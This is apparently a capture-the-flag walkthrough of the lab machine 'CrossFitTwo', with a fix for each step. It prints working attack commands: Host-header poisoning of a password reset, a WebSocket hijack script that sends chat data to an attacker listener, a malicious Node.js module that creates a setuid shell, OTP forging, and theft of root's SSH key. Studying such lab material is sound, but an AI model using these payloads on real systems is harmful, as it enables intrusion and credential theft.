CrossFitTwo
Summary
I enumerated three virtual hosts on the target HTTP service and found a password-reset endpoint on employees.crossfit.htb that built reset links from the untrusted HTTP Host header, allowing a valid reset token to be redirected to my own server. A cross-site WebSocket hijack against the member chat, which accepted connections from any origin, then leaked the plaintext SSH password for the account 'david' from in-channel conversation history.
With an SSH foothold as david (a member of the sysadmins group), I exploited group-write permission over a shared Node.js module directory to replace a module loaded by a periodic bot process running as the higher-privileged user 'john', yielding a setuid-john shell. As john (member of the staff group), a custom setuid-root file-reader binary gated behind a YubiKey OTP was abused: running the binary without a token caused it to print its embedded AES key, public UID, and usage counter in debug output.
Those three values were used to synthesize a valid Yubico HMAC-OTP, which the binary accepted, granting arbitrary root-level file reads. Root's encrypted SSH private key was extracted through that path, its passphrase recovered from adjacent key material, and a direct root SSH session was opened: full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"
export KEY="<the-key-you-recovered>"Some commands also carry a value in angle brackets (<captured_token>, <default_size>, <modhex_token>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 4
Service and version scan of the three open ports.
$ nmap -sC -sV -p 22,80,8953 $TARGETRegister discovered virtual hostnames for local DNS resolution.
$ echo "$TARGET crossfit.htb employees.crossfit.htb members.crossfit.htb" | sudo tee -a /etc/hostsBrute-force virtual-host names; replace <default_size> with the baseline response size to filter identical results.
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET/ -H 'Host: FUZZ.crossfit.htb' -mc 200,301,302 -fs <default_size>Confirm the password-reset form exists and inspect response headers.
$ curl -sS -D - http://employees.crossfit.htb/password-reset.phpExact commands 3
Listen on my machine to receive the inbound reset-link GET request containing the token.
$ python3 -m http.server 80Submit the reset request with the spoofed Host; the application emails david a reset link pointing at $ATTACKER_IP.
$ curl -sS -X POST 'http://employees.crossfit.htb/password-reset.php' --data 'email=david@crossfit.htb' -H "Host: $ATTACKER_IP"Use the token received at my listener to set a new password for david's account.
$ curl -sS -X POST 'http://employees.crossfit.htb/password-reset.php' --data "token=<captured_token>&email=david@crossfit.htb&password=$PASSWORD4&confirm_password=$PASSWORD4"FixHard-code the application base URL in password-reset email constructionCritical
Exact commands 3
Write the CSWSH payload page to disk; replace $ATTACKER_IP with my machine's IP.
$ printf '<script>var ws=new WebSocket("ws://members.crossfit.htb/ws");ws.onmessage=function(e){fetch("http://'"$ATTACKER_IP"':8081/?d="+encodeURIComponent(JSON.stringify(e.data)));};</script>' > /tmp/cswsh.htmlServe cswsh.html from my machine; deliver the URL to a chat participant via the password-reset confirmation flow or direct link.
$ python3 -m http.server 8080Catch exfiltrated WebSocket messages; david's SSH password will appear in the URL-encoded query parameter.
$ nc -lvnp 8081FixEnforce strict Origin validation on the member-chat WebSocket endpointCritical
Exact commands 2
Log in as david; confirms sysadmins group membership and reads the user flag.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password david@$TARGET 'id; groups; cat ~/user.txt'
uid=1004(david) gid=1004(david) groups=1004(david)Enumerate sysadmin tooling; confirm statbot.js calls require('log-to-file') and that the node_modules directory is writable by the sysadmins group.
$ sshpass -p "$PASSWORD3" ssh david@$TARGET 'ls -la /opt/sysadmin/; cat /opt/sysadmin/server/statbot/statbot.js'Exact commands 5
Write the malicious log-to-file payload locally.
$ printf 'const{execSync}=require("child_process");try{execSync("cp /bin/sh /tmp/johnsh&&chmod u+s /tmp/johnsh");}catch(e){}module.exports=function(){};
' > /tmp/cf2-log-to-file.jsUpload the payload to the target.
$ sshpass -p "$PASSWORD3" scp /tmp/cf2-log-to-file.js david@$TARGET:/tmp/cf2-log-to-file.jsOverwrite the legitimate module with the malicious payload.
$ sshpass -p "$PASSWORD3" ssh david@$TARGET 'cp /tmp/cf2-log-to-file.js /opt/sysadmin/node_modules/log-to-file/app.js'Poll up to 2 minutes for the setuid-john shell to appear after the bot's next scheduled run.
$ sshpass -p "$PASSWORD3" ssh david@$TARGET 'for i in $(seq 1 12); do [ -u /tmp/johnsh ] && echo triggered && break; sleep 10; done'Confirm euid=1005(john) via the newly created setuid shell.
$ sshpass -p "$PASSWORD3" ssh david@$TARGET '/tmp/johnsh -p -c "id"'FixRemove group-write access to the shared Node.js node_modules directoryHigh
Exact commands 4
Confirm -rwsr-s--- root:staff permissions on the file-reader binary.
$ sshpass -p "$PASSWORD3" ssh david@$TARGET '/tmp/johnsh -p -c "ls -la /usr/local/bin/log"'Run log without a valid OTP to trigger debug output; capture the KEY, UID, and CTR values printed to stderr.
$ sshpass -p "$PASSWORD3" ssh david@$TARGET '/tmp/johnsh -p -c "/usr/local/bin/log 2>&1; true"'Synthesize a valid Yubico HMAC-OTP using the leaked parameters (counter = observed CTR + 1). The script AES-ECB-encrypts the plaintext block (uid || ctr16 || sess8 || ts24 || rnd16 || crc16) with the extracted key and Modhex-encodes the public UID prepended to the ciphertext. Output is the full Modhex token to pass to log.
$ python3 /tmp/gen_otp.py --key $KEY --uid a4ce1128bde4 --ctr 985090Present the synthesized OTP to the binary; replace <modhex_token> with the gen_otp.py output. Returns root's SSH private key.
$ sshpass -p "$PASSWORD3" ssh david@$TARGET '/tmp/johnsh -p -c "/usr/local/bin/log <modhex_token> /root/.ssh/id_rsa"'FixRemove the setuid-root file-reader binary and redesign privileged file accessCritical
Exact commands 3
Redirect binary output to save root's SSH private key locally.
$ sshpass -p "$PASSWORD3" ssh david@$TARGET '/tmp/johnsh -p -c "/usr/local/bin/log <modhex_token> /root/.ssh/id_rsa"' > /tmp/cf2-rootkeySet restrictive permissions so SSH will accept the private key file.
$ chmod 600 /tmp/cf2-rootkeyAuthenticate as root using the stolen key; sshpass supplies the key's passphrase. Returns uid=0(root) and <root.txt>.
$ sshpass -p "$PASSWORD" ssh -i /tmp/cf2-rootkey -o StrictHostKeyChecking=no -o PreferredAuthentications=publickey,password root@$TARGET 'id; cat /root/root.txt'
uid=0(root)Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.